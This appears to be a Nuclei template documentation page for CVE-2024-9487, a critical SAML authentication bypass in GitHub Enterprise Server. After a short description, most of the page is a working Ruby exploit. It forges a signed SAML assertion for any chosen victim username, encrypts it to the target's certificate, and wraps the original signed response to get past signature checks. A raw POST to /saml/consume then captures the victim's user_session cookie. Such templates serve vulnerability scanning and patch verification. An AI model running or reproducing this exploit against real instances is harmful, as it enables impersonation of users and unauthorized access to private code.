GitHub Enterprise - SAML Authentication Bypass
ID: CVE-2024-9487
Severity: critical
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
Description
Section titled “Description”An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
YAML Source
Section titled “YAML Source”id: CVE-2024-9487
info: name: GitHub Enterprise - SAML Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program. reference: - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass - https://github.com/advisories/GHSA-g83h-4727-5rpv classification: epss-score: 0.00045 epss-percentile: 0.16808 metadata: verified: true shodan-query: title:"GitHub Enterprise" tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
code: - engine: - ruby
source: | ## Variable Usage: # username - Victim Github Username/Email to impersonate. # SAMLResponse - SAML Response body. # metadata_url - IDP's Metadata URL. # RelayState - Relay state associated with the SAML Response body.
require 'nokogiri' require 'openssl' require 'base64' require 'cgi' require 'open-uri' saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse'])) saml_response = Nokogiri::XML(saml_response_xml) namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'} issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text
metadata_idp_url = (ENV['metadata_url']) # URL to fetch the XML from url = "#{ENV['RootURL']}/saml/metadata" begin # Open the URL and read the XML xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read # Parse the XML content with Nokogiri doc = Nokogiri::XML(xml_content) idp_doc = Nokogiri::XML(xml_content_idp)
# Extract the ds:X509Certificate certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#') audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
# Print the extracted certificate if certificate enc_cert = Base64.decode64("#{certificate.text.strip}") else puts "ds:X509Certificate not found in the XML." end
rescue OpenURI::HTTPError => e puts "HTTP Error: #{e.message}" rescue => e puts "An error occurred: #{e.message}" end signed_assertion_xml = <<-XML <saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion> XML
signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert doc = Nokogiri::XML(signed_assertion_xml)
signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
cert = enc_cert cert = OpenSSL::X509::Certificate.new(cert) public_key = cert.public_key
# Encrypt the signed assertion node using AES and RSA for key wrapping def encrypt_assertion(assertion_node, rsa_public_key) # Create a random AES key for encrypting the data aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key
# Encrypt the signed assertion (as an XML string) cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = aes_key
encrypted_data = cipher.update(assertion_node) + cipher.final
# Encrypt the AES key using the RSA public key encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)
# Base64 encode both the encrypted data and the encrypted AES key encrypted_data_b64 = Base64.encode64(encrypted_data) encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key) encrypted_assertion_xml = <<-XML <saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <xenc:EncryptedKey> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/> <xenc:CipherData> <xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue> </xenc:CipherData> </xenc:EncryptedKey> </ds:KeyInfo> <xenc:CipherData> <xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue> </xenc:CipherData> </xenc:EncryptedData> </saml:EncryptedAssertion> XML
Nokogiri::XML(encrypted_assertion_xml) end
# Parse the signed assertion into Nokogiri XML document doc = Nokogiri::XML(signed_assertion_xml) assertion_node = doc.at('//saml2:Assertion', namespaces) assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}" assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient assertion_node_str = assertion_node_str.gsub! "audience_replace", audience assertion_node_1 = Nokogiri::XML(assertion_node_str) assertion_node_dup = assertion_node_1.dup assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove
assertion_node_dup.xpath('//text()').each do |text_node| text_node.content = text_node.text.strip end
canonical_xml = assertion_node_dup.canonicalize( Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, [], # InclusiveNamespaces PrefixList false # WithComments )
# Compute the SHA-256 Digest digest = OpenSSL::Digest::SHA256.digest(canonical_xml) digest_base64 = Base64.encode64(digest).strip assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64 final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key) encrypted_assertion_node_str = encrypted_assertion_node.to_xml
#create new saml doc
saml_resp_node = saml_response.at('/saml2p:Response', namespaces) saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces) saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces) object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node) object_node.namespace = saml_resp_sign_node.namespace object_node.add_child(saml_resp_node.dup) saml_resp_sign_key_node.add_next_sibling(object_node) encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str) encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces ) saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1) saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae" puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))
http: - raw: - | POST /saml/consume HTTP/1.1 Host: {{Hostname}} Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}}; Content-Type: application/x-www-form-urlencoded
RelayState={{RelayState}}&SAMLResponse={{code_response}}
matchers: - type: dsl dsl: - 'contains(header,"dotcom_user")' - 'status_code == 302' condition: and
extractors: - type: kval kval: - user_session# digest: 4a0a0047304502201d9a6f1f7ac210b5f531ac3b64b73ac246350f6fa67725457a6096ba96d3600a022100cf325e2fc0f46f03d1f365f3c3fcd0a968ffdcf74f851f58d0dba07ec47c861d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9487.yaml"